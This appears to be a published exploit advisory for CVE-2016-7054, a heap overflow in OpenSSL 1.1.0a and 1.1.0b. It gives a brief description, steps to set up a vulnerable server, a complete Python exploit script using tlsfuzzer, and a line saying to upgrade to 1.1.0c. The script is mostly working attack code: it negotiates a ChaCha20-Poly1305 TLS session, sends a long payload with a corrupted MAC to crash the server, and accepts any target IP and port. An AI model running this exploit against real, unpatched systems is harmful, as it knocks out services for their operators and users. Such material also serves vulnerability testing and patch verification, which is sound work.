|
# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability # Date: 11-12-2016 # Software Link: https://www.openssl.org/source/old/1.1.0/ # Exploit Author: Silverfox # Contact: http://twitter.com/___Silverfox___ # Website: https://www.silverf0x00.com/ # CVE: CVE-2016-7054 # Category: Denial of Service # Type: Remote # Platform: Multiple 1. Description Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash. https://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054 https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/ 2. Proof of Concept a. Download and compile OpenSSL 1.1.0a or b b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py) d. OpenSSL Instance crashes causing DOS ### Exploit Code ### ''' * In no event shall the author be liable * for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. ''' from __future__ import print_function import traceback import sys from tlsfuzzer.runner import Runner from tlsfuzzer.messages import Connect, ClientHelloGenerator, \ ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \ FinishedGenerator, ApplicationDataGenerator, \ fuzz_encrypted_message from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \ ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \ ExpectAlert, ExpectClose, ExpectServerKeyExchange from tlslite.constants import CipherSuite, AlertLevel, AlertDescription def usage() : return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0]) def main(): if len(sys.argv) < 3: print(usage()) return -1 conversations = {} # 16 chars: POLY1305 tag 128 bit # Tampering one bit suffices to damage the mac # The payload has to be long enough to trigger heap overflow n = 15000 fuzzes = [(-1, 1)] for pos, val in fuzzes: conversation = Connect(sys.argv[1], int(sys.argv[2])) node = conversation ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256] node = node.add_child(ClientHelloGenerator(ciphers)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerKeyExchange()) node = node.add_child(ExpectServerHelloDone()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) node = node.add_child(fuzz_encrypted_message( ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val})) node = node.add_child(ExpectAlert(AlertLevel.fatal, AlertDescription.bad_record_mac)) node = node.add_child(ExpectClose()) conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \ conversation # run the conversation good = 0 bad = 0 for conversation_name in conversations: conversation = conversations[conversation_name] #print(conversation_name + "...") runner = Runner(conversation) res = True try: runner.run() except: print("Error while processing") print(traceback.format_exc()) res = False if res: good+=1 print("OK") else: bad+=1 print("Test end") print("successful: {0}".format(good)) print("failed: {0}".format(bad)) if bad > 0: sys.exit(1) if __name__ == "__main__": main() ### End of Exploit Code ### 3. Solution: Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.
|
|
|